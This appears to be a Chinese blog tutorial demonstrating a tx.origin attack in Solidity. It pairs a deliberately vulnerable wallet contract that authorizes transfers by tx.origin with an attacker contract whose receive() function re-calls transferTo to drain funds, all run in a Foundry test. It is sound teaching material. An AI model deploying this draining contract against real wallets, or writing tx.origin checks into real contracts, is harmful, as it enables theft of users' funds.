tx.origin攻击实现

  • 晓道
  • 更新于 2022-02-18 19:56
  • 阅读 4970

tx.origin攻击实现,一次调用,转干合约

前言

昨天发了一篇,tx.origin、msg.sender有什么不一样 ,被认为太水了,所以把tx.origin 攻击的代码实现一遍,让大家有个清晰的认识。

其实前面的不一样是今天可以这么干的基础。

实现的过程有参考:Unboxing tx.origin. Rune Token case (adrianhetman.com)

原理

从被攻击的代码讲起:

contract TxUserWallet is DSTest {
    address owner;

    constructor() {
        owner = msg.sender;
        //emit log_named_address("owner", owner);
    }

    function transferTo(address payable dest, uint256 amount) public payable {
        emit log_named_address("tx.origin", tx.origin);
        emit log_named_address("owner", owner);
        require(tx.origin == owner); //** 重点 **
        dest.call{value: amount}("");
    }
}

这个合约transferTo函数,通过检查tx.origin来确定是不是合约拥有人在操作合约。 普通情况都是没问题的。tx.origin都是合约拥有人,可是就怕有精心构造的攻击者。 做到这些,还是要熟悉solidity的代码,上次我们讲重入 重入攻击代码实现 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn),讲了fallback 函数,这次我们用到,receive函数,这个函数会在合约收到币的时候被调用。

所以,我们需要构造一种情况,TxUserWallet 合约调用transferTo 给攻击合约转账,攻击合约在receive函数 再次调用transferTo,这个时候,tx.origin 就还是原来的账号操作人,代码写得好,你就可以转空TxUserWallet 合约里的钱。

攻击代码

下面我们上攻击合约代码:

contract TxAttackWallet is DSTest {
    address payable owner;

    constructor() {
        owner = payable(msg.sender);
    }

    fallback() external payable {
        emit log_named_address("fallback", msg.sender);
    }

    receive() external payable {
        TxUserWallet(msg.sender).transferTo(
            payable(this),
            1 ether
        );
    }
}

构造测试用例

function setUp() public {
        startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58), 8 ether);
        alice = new TxUserWallet();  //被攻击对象
        hoax(address(alice), 5 ether); //放5个币
        bob = new TxAttackWallet();  //攻击合约
        hoax(address(bob), 5 ether);  //放5个币
        emit log_named_uint("alice", address(alice).balance);
        emit log_named_address("alice", address(alice));
        emit log_named_address("bob", address(bob));
    }
function testExample() public payable {
        //startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58));
        alice.transferTo(payable(bob), 1 ether); //被攻击者给攻击合约转1个币
        emit log_named_uint("alice", address(alice).balance);
        emit log_named_uint("bob", address(bob).balance);
        emit log_string("testok");
    }

结果如下: 16451845821.png

还有关键性一步,在foundry.toml里设置,

tx_origin = '0x9BEF5148fD530244a14830f4984f2B76BCa0dC58' 这是部署合约的操作人。

感谢群友的点赞支持,并提供参考文章。 代码已经上传github,更详细的可以看代码,跑跑能有更直观的认识。

daodao2007/txohack (github.com)

点赞 1
收藏 3
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

3 条评论

请先 登录 后评论
晓道
晓道
0xdD09...9161
技术交流:https://t.me/realDAO